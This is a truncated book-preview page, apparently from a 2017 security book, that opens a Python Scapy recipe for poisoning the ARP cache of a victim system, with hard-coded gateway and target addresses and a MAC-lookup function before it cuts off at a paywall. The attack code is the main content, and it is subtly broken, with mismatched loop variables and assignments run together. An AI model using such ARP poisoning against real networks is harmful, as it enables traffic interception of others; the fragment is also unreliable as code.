November 2017
Intermediate to advanced
226 pages
5h 59m
English
Here are the steps to write a script to poison ARP cache in a victim system:
from scapy.all import *
interface = "en0" gateway_ip = "192.168.1.2" target_ip = "192.168.1.103" broadcastMac = "ff:ff:ff:ff:ff:ff" packet_count = 50
def getMac(IP):
ans, unans = srp(Ether(dst=broadcastMac)/ARP(pdst = IP), timeout =2, iface=interface, inter=0.1)
for send,recive in ans:
return r[Ether].src
return None
try:
gateway_mac ...Read now
Unlock full access